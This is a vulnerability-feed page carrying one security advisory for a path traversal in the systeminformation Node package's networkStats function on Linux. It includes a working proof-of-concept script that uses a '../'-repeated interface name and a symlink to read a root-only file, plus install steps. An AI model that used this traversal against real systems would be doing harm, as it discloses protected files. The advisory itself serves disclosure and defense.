Threats tagged 'ghsa-4vjg-vx72-qq4g'
1 threat
Most recently published first
| Severity | CVSS | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|
| Low | 3.3 | CVE-2026-116673Systeminformation Has Path Traversal Low3.3GCVE DatabaseCVE-2026-116673 ### Summary On Linux, `systeminformation@5.33.13` builds `/sys/class/net/<iface>` paths from the caller-supplied `networkStats(iface)` value without checking that the resolved path stays inside `/sys/class/net`. A caller who can create a symlink fixture and control the value passed to this API can make the function return the first line of a file readable by the Node process. ### Details The strict string sanitizer removes shell metacharacters but retains `/` and `.`. The Linux implementation uses this value in an `fs.existsSync('/sys/class/net/' + iface)` check and then in seven `cat` paths for interface statistics. Both operations follow `..` path components and symlinks. The code does not validate the value as an interface name or enforce resolved-path containment. The proof of concept below creates the expected statistics files in a directory writable by the unprivileged `nobody` user. Its `operstate` symlink points to a synthetic mode-0600 file under `/root`. The package call runs as root and returns the marker even though `nobody` cannot read that file. ### PoC Use a disposable Ubuntu Linux VM with Node.js, npm, and `runuser` installed. These steps create and remove only a synthetic marker and a temporary fixture. Install the affected version: ```sh mkdir si-netstats-repro cd si-netstats-repro npm init -y npm install systeminformation@5.33.13 ``` Save the following as `poc.cjs` in that directory, then run `sudo node poc.cjs`: ```js 'use strict'; const fs = require('node:fs'); const { execFileSync } = require('node:child_process'); const si = require('systeminformation'); const root = `/tmp/si-netstats-${process.pid}`; const secret = `/root/si-netstats-secret-${process.pid}`; const marker = `SYNTHETIC_ROOT_ONLY_MARKER_${process.pid}`; const fixtureCode = ` const fs = require('node:fs'); const root = process.env.SI_FIXTURE_ROOT; const secret = process.env.SI_SECRET; fs.mkdirSync(root + '/statistics', { recursive: true }); for (const name of ['rx_bytes', 'tx_bytes', 'rx_dropped', 'rx_errors', 'tx_dropped', 'tx_errors']) { fs.writeFileSync(root + '/statistics/' + name, '0\\n'); } fs.symlinkSync(secret, root + '/operstate'); `; (async () => { try { fs.writeFileSync(secret, marker + '\\n', { mode: 0o600 }); fs.chmodSync(secret, 0o600); execFileSync('runuser', [ '-u', 'nobody', '--', 'env', `SI_FIXTURE_ROOT=${root}`, `SI_SECRET=${secret}`, process.execPath, '-e', fixtureCode ], { stdio: 'inherit' }); let nobodyCouldRead = true; try { execFileSync('runuser', ['-u', 'nobody', '--', 'cat', secret], { stdio: 'ignore' }); } catch { nobodyCouldRead = false; } if (nobodyCouldRead) throw new Error('negative control failed: nobody read the marker'); const iface = '../'.repeat(24) + root.slice(1); const rows = await si.networkStats(iface); const returned = String(rows[0]?.operstate ?? '').trim(); const success = returned === marker; console.log(JSON.stringify({ nobodyCouldRead, libraryReturnedRootOnlyMarker: success, returnedOperstate: returned }, null, 2)); if (!success) process.exitCode = 1; } finally { fs.rmSync(root, { recursive: true, force: true }); fs.rmSync(secret, { force: true }); } })().catch((error) => { console.error(error); process.exitCode = 1; }); ``` Expected result: ```json { "nobodyCouldRead": false, "libraryReturnedRootOnlyMarker": true, "returnedOperstate": "SYNTHETIC_ROOT_ONLY_MARKER_<pid>" } ``` ### Impact The demonstrated impact is disclosure to the API caller of the first line of a file readable by the Node process. The package is a library and does not expose a network endpoint. A consuming application route that forwards remote attacker input to this API and returns its result was not established, so remote exploitability is not demonstrated. | GCVE Database |
Page 1 of 1